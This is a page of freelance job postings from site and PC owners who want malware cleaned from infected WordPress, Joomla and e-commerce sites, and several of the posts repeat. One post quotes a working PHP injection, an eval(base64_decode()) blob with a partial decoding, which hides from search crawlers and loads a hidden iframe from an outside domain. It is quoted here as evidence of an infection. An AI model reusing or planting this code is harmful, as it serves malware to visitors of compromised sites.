Get a Freelance Job

Please need an experienced person to urgently remove malware/a virus on my wordpress site.

We have detected that your domain anyshoes23.com is associated with
a web site that may contain malware. Your site is listed on the Google(R)
malware list and people visiting your site are being notified by their browsers
that your site is not safe to be viewed. If the code being detected is not yours,
you will need to review your site to determine how the code was uploaded to
your site. If you are using a content management system (such as WordPress
or Joomla) you should update…

We need a Unix Expert who replaces multiple text lines recursive in many files.

Create a Linux Shell command (or batch) to remove a viruscode in many files recursive in all directories and subdirectories.
The viruscode placed is over multiple lines within the files.
The search pattern in your regular expression should contain the first 5 and the last 5 lines of the virus code as seen below.

The virus code should be replaced with the text

Attached you find an ex…

Hi

I guess my site has been taken over by something virus. When you open the following url with IE(maybe other browsers as well), warning of attached file comes up. It tries to lead
http://taikai.main.jp

If you click ‘Allow’ on that popup, a malware called Privacy Protection will be installed in the computer.

I looked through all the codes of php files then found a couple of bad script codes embedded by somebody. I removed it all but the message still comes up. I can’t find out what…

Hi

I guess my site has been taken over by something virus. When you open the following url with IE(maybe other browsers as well), warning of attached file comes up. It tries to lead
http://taikai.main.jp

If you click ‘Allow’ on that popup, a malware called Privacy Protection will be installed in the computer.

I looked through all the codes of php files then found a couple of bad script codes embedded by somebody. I removed it all but the message still comes up. I can’t find out what…

Apparently, I have a virus on my website. I need someone to find the infected files, then remove the infection.

Hi,

I need someone to scan and check my website for virus and malicious code… Google blocks my website right now saying that it is infected.

Need this done NOW. (Website is not so large)

Thanks

Anti virus UNIX is the first code that I’ve seen that can detect and disinfect real ELF/Binary viruses in Linux. It can also detect basic memory infections and unpack protected/packed executables or malware. I do have another project called VMA Voodoo hunter that can detect complex user space memory infections. This code could be easily ported to other OS’s, but has been tested in Linux, however it is effective on any ELF executables (32 bit only at this point)

I use Mozilla firefox browser and spyware doctor search bar go to printing website, it shows that detects some malwares or dangerous content.
I am afraid that the website is compromised and there maybe be several malicious files uploaded under your account.

The attachment below will show what we have found briefly looking through the website: ( Please review attachment)

Requirement:

1) Need you to conduct a security audit for your website and perform the application oscommerce upgr…

I uploaded i believe it was 5.0 version of firefox. Since then I have not been able to search anything on google. I also can not use firfox or a lot of IE. without receiving the error message “404 not found”.I have removed both firefox and Ie and tried reloading Ie 8 and the orginal older version of firefox and that has not fixed the bug. I used Malware, Avast and Spybot to remove any and all viruses and trojens and that has not fixed the problem either. So I need someone who know how to remove …

Hi,

AVG Reports threat/virus on my website.
I need someone to check all files and remove if any virus / malicious code / files found…

Website is not huge… so should be pretty small task

Just seen today that my site appears on Mozilla Virused site lists. I need someone to identity ,remove the hole (i suppose is a plugin), send me a copy of the malicious code so I can analyse it and see the damage and also contact Google or whatever authorities need to be contacted to remove the warning for my site. Fast project for a skilled person. More info and site details in PMB. Thank you

This web page at www.#####MY WEBSITE####.com has been reported as an attack page and has been blocked based on your security preferences.

I have a virus on my e-commerce site which is repeatedly modifying my index.php files, adding the following code

<?php eval(base64_decode(‘ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGlmcmFtZSBzcmM9Imh0dHA6Ly9jdGZhZWZsLmNvLnR2Lz9nbz0xIiB3aWR0aD0iMSIgaGVpZ2h0PSIxIj48L2lmcmFtZT4nOw0KfQ==’));

this is decoded as follows:
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array(‘bot’,'spider’,'spyder’,'crawl’,'validator’,'slurp’,'docomo’,'yandex’,'mail.ru’,'alexa.com’,'postrank.com’,'htmldoc’,'webcollage’,'blogpulse.com’,'anonymouse.org’,’12345′,’httpclient’,'buzztracker.com’,'snoopy’,'feedtools’,'arianna.libero.it’,'internetseer.com’,'openacoon.de’,'rrrrrrrrr’,'magent’,'download master’,'drupal.org’,'vlc media player’,'vvrkimsjuwly l3ufmjrx’,'szn-image-resizer’,'bdbrandprotect.com’,'wordpress’,'rssreader’,'mybloglog api’);
$stop_ips_masks = array(
array(“216.239.32.0″,”216.239.63.255″),
array(“64.68.80.0″ ,”64.68.87.255″ ),
array(“66.102.0.0″, “66.102.15.255″),
array(“64.233.160.0″,”64.233.191.255″),
array(“66.249.64.0″, “66.249.95.255″),
array(“72.14.192.0″, “72.14.255.255″),
array(“209.85.128.0″,”209.85.255.255″),
array(“198.108.100.192″,”198.108.100.207″),
array(“173.194.0.0″,”173.194.255.255″),
array(“216.33.229.144″,”216.33.229.151″),
array(“216.33.229.160″,”216.33.229.167″),
array(“209.185.108.128″,”209.185.108.255″),
array(“216.109.75.80″,”216.109.75.95″),
array(“64.68.88.0″,”64.68.95.255″),
array(“64.68.64.64″,”64.68.64.127″),
array(“64.41.221.192″,”64.41.221.207″),
array(“74.125.0.0″,”74.125.255.255″),
array(“65.52.0.0″,”65.55.255.255″),
array(“74.6.0.0″,”74.6.255.255″),
array(“67.195.0.0″,”67.195.255.255″),
array(“72.30.0.0″,”72.30.255.255″),
array(“38.0.0.0″,”38.255.255.255″)
);
$my_ip2long = sprintf(“%u”,ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
$first_d=sprintf(“%u”,ip2long($IPs[0])); $second_d=sprintf(“%u”,ip2long($IPs[1]));
if ($my_ip2long >= $first_d

I need a virus cleaned up on a wordpress site I own. And then resubmnitted to Google.

Website is www.sha llowfords miles.com Just remove the spaces.

Let me know what you need.

Thanks

We have multiple website which keep getting attacked adding scripts to the home page making it infected. Need someone to go through all site removing all of the infected pages and finding how this is happening, im thinking it is forms created in php4 which need changing to php5 maybe?we have around 50 sites some are infected some not but all need to be checked.

I have a virus on my PC that needs removal. I can log in using SAFE mode. You can log in using Teamviewer.

I have a virus on my PC that needs removal. I can log in using SAFE mode. You can log in using Teamviewer.

It seems that I have a malware issue or virus on my site. I need to get someone to clean this up. Her is the email from google. Had it once before and got it cleaned right away, but seems that it might of come back.

Dear AdWords Advertiser,

Your account has been suspended because we’ve determined
there’s a high probability your site may be hosting or distributing
malicious software.

Please visit
https://adwords.google.com/support/bin/answer.py?hl=en&answer=141633 if
you feel your site has been mistakenly identified, need help
understanding the issue and how to address it. Contact us through
http://adwords.google.com/support/bin/request.py?display=form&contact_type=malware
if you’ve made changes to your site so that it no longer hosts or
distributes malicious software and you’ve secured your site so that it
is no longer vulnerable to the insertion of malware.

Currently, our tests indicate that the following URLs may contain code
which installs malicious software:

hxxp://www.poolnation.com/product_info.php?products_id=70

These URLs are located in your account within the following campaign(s)
and ad group(s): The Pool Cleaner – Pool Cleaner

In order to protect your visitors, we recommend that you check these
specific pages immediately, as well as the rest of your website.
Although some sites intentionally distribute malicious software, there
are many cases where the webmaster or advertiser is unaware of the
dangerous link due to any of the following reasons:

1) The site was compromised.
2) The site doesn’t monitor for malicious user-contributed content.
3) The site displays content from an ad network that has an advertiser
distributing malicious software.

If your site was compromised, it’s important to not only remove the
malicious (and usually hidden) content from your pages, but to also
identify and fix the vulnerability. We suggest contacting your hosting
provider if you’re unsure of how to proceed. StopBadware also has a
resource page for securing compromised sites at
http://www.stopbadware.org/home/security. Google uses its own criteria,
procedures, and tools to identify sites that host or distribute malware.
Sincerely,

The Google AdWords Team

It seems that I have a malware issue or virus on my site. I need to get someone to clean this up. Her is the email from google. Had it once before and got it cleaned right away, but seems that it might of come back.

Dear AdWords Advertiser,

Your account has been suspended because we’ve determined
there’s a high probability your site may be hosting or distributing
malicious software.

Please visit
https://adwords.google.com/support/bin/answer.py?hl=en&answer=141633 if
you feel your site has been mistakenly identified, need help
understanding the issue and how to address it. Contact us through
http://adwords.google.com/support/bin/request.py?display=form&contact_type=malware
if you’ve made changes to your site so that it no longer hosts or
distributes malicious software and you’ve secured your site so that it
is no longer vulnerable to the insertion of malware.

Currently, our tests indicate that the following URLs may contain code
which installs malicious software:

hxxp://www.poolnation.com/product_info.php?products_id=70

These URLs are located in your account within the following campaign(s)
and ad group(s): The Pool Cleaner – Pool Cleaner

In order to protect your visitors, we recommend that you check these
specific pages immediately, as well as the rest of your website.
Although some sites intentionally distribute malicious software, there
are many cases where the webmaster or advertiser is unaware of the
dangerous link due to any of the following reasons:

1) The site was compromised.
2) The site doesn’t monitor for malicious user-contributed content.
3) The site displays content from an ad network that has an advertiser
distributing malicious software.

If your site was compromised, it’s important to not only remove the
malicious (and usually hidden) content from your pages, but to also
identify and fix the vulnerability. We suggest contacting your hosting
provider if you’re unsure of how to proceed. StopBadware also has a
resource page for securing compromised sites at
http://www.stopbadware.org/home/security. Google uses its own criteria,
procedures, and tools to identify sites that host or distribute malware.
Sincerely,

The Google AdWords Team

My computer has some sort of “Windows” virus. It wiped out virtually all the data on my hard drive and most of my programs. I need a data recovery / virus expert to use something like teamviewer to recover the data and fix my system.

Hello guys i have a wordpress blog site couple weeks ago i upload a content with a virus its crazy cause I don’t have any idea which file. so im lookin for someone to scan my files and remove the virus for me

My website got virus, need to be fix asap (within the next 1 hour)
www.vimala.com.au

My joomla site is got infected by virus , i need some one to clean the Virus

I have some sort of trogan virus or attacking site , url is fatmonkeywebdesigndotcom it says error 403 right now cuz i have it pointed to dif directory but it is an attacking site not sure how it became this way , i need someone to fix the site. Pay is min 20.00 to do this asap.

I have a php pro bid auction script installed but needs re-installation
we had one problem …we changed servers because of virus present…
previous programmer made fresh install on new server…imported database,now the virus is still present on new server…google chrome detecting virus on new server…i believe the virus is in database…programmer abandoned job..

-job includes
-erase script and reinstall or identify virus and remove
-install spanish mod
-configure site

site: Mercado Subasta dot com
thank you

job #2 installation of tube script on same server, add header
configure

more jobs will follow
i have 5 websites that need fresh install on new server
Pay $20.00

We have noticed that spam emails are being sent to people using differentnames at ourdomain.com

The “from” email addresses do not exist as pop3 email addresses on our server and we suspect that someone who worked on our server recently must have inserted a script / virus to send out these spam emails and making it seem as if the emails are coming from someone in our employ / service.

We are looking for someone to urgently fix this issue by removing the script or the virus.

We have noticed that spam emails are being sent to people using differentnames at ourdomain.com

The “from” email addresses do not exist as pop3 email addresses on our server and we suspect that someone who worked on our server recently must have inserted a script / virus to send out these spam emails and making it seem as if the emails are coming from someone in our employ / service.

We are looking for someone to urgently fix this issue by removing the script or the virus.

Hello.

I a Programmer who would clean my Linux shared hosting from virus Virus injections threads .

As I dont have the backups of the sites on line, I need you to fix and not delete the files while removing the virus.

This Virus is avoiding me to work with the CMS blog(cant update new text and load videos)-you’ll need to fix this.
I need that recent articles would show on top.
Fix encoding in email submission.

Please Bid Only if you worked before on virus removal.
You must be available on Skype or Messanger and update me.
Once you proved your quality work- well hire you for an Ongoing projects with us.

Bids Above 40$ shall be Ignored.

Hi.
I need an expert programmer who would clean my server from virus and malwares and Virus injections threads .

On server there are Live sites-I need you to create a Robot which would FIX And Not Delete the Virus (as I don’t have backups of recent sites).

once this issue is resolved-I need the following:
I have a custon Blog which has some minor issues.

*Cpanel admin I get an error ordering to install script(the virus above injector).

*Loading new Video and Wav not working properly.

*New Articles to be on top page older at the Buttom.

*I have a Flash site -email submission needs to fix the encodings as emails are coming not understood text

*Add new Photo of manager with text in 2 pages .

*I need to add 2 more HTML pages with short text and photos at other small site.

Please Bid Only if you know how to build the virus protection Robort.
You must be available on Skype or Messanger and update me.

Once you proved your quality work- well hire you for an Ongoing projects with us.

Bids Above 40$ shall be Ignored.

It seems I have a virus on my Joomla site. But I’m not sure. I hope somebody can remove it from my files or figure out what the problem is.

Need a virus scan and description of issue…
as well as a fix or resolution.

Blog has been cleared on a variety of virus software programs except AVG.

We need to fix this. As readers are not able to visit.

Please respond PMB
ESCROW only

TAKE OUT TROGAN VIRUS on all my sites i have 4 sites that need to get the trogan virus out of them this needs to be done asap , max pay is 25.00

AntiVirus programs and Google are saying my website has a threat – said Rouge 831 (or similar). Now google just re-directs to another site. Have a quick look at my site www.cherrycollectables.com.au and please bid.

I’m looking to purchase a PHP script I can upload to a server and clean iframe infected websites.

There seems to be a virus on my website: BuyModelPhotos.com

Please take a very quick look at the site and let me know what you believe is the issue and your bid.

Thanks!

We have a site which we have taken off line we need to remove the virus the site is only 5 Pages.

My sites have a virus in them, per programmers that have worked on my sites. So I am looking to do one web site at a time, to clean out the virus & update the site with the latest security patches for a site using oscmax.

I want to clean out one site at a time, so the bid is for 1 site, but I have a dozen others that may have the same problems.

I need someone that has experience doing this`& can give me examples to clean out the sites virus & update with security patches for oscmax.

I need a security expert to remove malware/Virus and hack proof site

I think the shop has a virus. www . n e ed a pa ir . com

also, when i try to checkout something, it does not pass the checkout_shipping stage

need this fixed immediately by a professional

thanks

There are 5 sites infected by a tojan
need help remove trojans frm server and remove google blacklist
all my admins remain infected by trojan that redirects to another site
sorry no escrow..check my feedback i always pay to good performers